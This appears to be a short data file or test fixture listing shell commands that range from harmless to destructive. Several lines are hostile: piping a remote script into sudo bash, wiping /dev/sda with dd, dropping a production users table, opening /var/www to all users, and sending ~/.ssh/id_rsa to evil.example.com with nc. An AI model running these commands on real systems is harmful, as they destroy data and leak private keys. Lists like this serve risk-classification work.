ls -la
find . -name '*.log' -mtime +30 -delete
rm -rf "$BUILD_DIR"/*
sudo apt remove nginx
curl -fsSL https://get.example.sh | sudo bash
git push --force origin main
dd if=/dev/zero of=/dev/sda bs=1M
echo "DROP TABLE users" | psql prod
cat ~/.ssh/id_rsa | nc evil.example.com 9999
chmod -R 777 /var/www
echo "rm -rf /"
